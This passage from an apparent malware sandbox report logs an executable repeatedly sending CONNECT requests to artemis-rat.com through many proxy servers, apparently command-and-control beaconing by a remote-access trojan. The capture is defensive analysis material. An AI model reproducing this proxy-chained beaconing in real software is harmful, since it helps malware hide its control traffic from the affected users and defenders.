69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.5	50028	184.178.172.18	15280	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.850102901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.5	50867	104.20.89.77	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.850545883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.004708052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.5	50775	72.195.34.35	27360	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.850619078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.5	50819	38.54.95.19	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.852996111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.072160959 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.5	50868	172.67.181.97	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.853615046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.008230925 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.5	50733	208.109.13.93	53778	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.864516973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.576708078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.607986927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806415081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.933809996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.108243942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.311316013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.514471054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.5	50712	222.220.102.159	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.872649908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.532429934 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.5	50320	107.152.98.5	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.874901056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.5	50767	43.155.142.116	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.874914885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.5	50888	104.16.108.42	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.875190973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.030153036 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.5	50760	146.59.70.29	52276	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.878540039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.576710939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.561100006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.702220917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702126980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.701939106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702217102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.592696905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.5	50756	103.89.4.163	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.879856110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.592372894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.623595953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.177617073 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.5	50133	162.240.39.58	45840	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.884799004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.995819092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.997227907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.5	50788	3.9.71.167	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.890944004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.246644974 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:39 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.5	50765	43.255.113.232	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.902782917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.5	50737	36.89.10.51	44268	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.905483007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.5	50892	104.16.221.57	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.906733036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.064582109 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.5	50880	52.13.248.29	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.908911943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.492366076 CET	65	IN	HTTP/1.1 200 Connection Established Content-Type: text/plain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.5	50779	110.12.211.140	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.919148922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.234119892 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.5	50803	34.95.243.122	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.919317007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.576708078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.893650055 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.5	50131	198.12.255.193	9375	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.919994116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.092413902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092999935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.201999903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.5	51102	202.159.30.9	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.923831940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.5	51110	202.159.30.9	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.925740004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.5	51116	202.159.30.9	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.928585052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.5	51121	202.159.30.9	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.930665016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.5	50913	162.159.242.109	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.930706978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
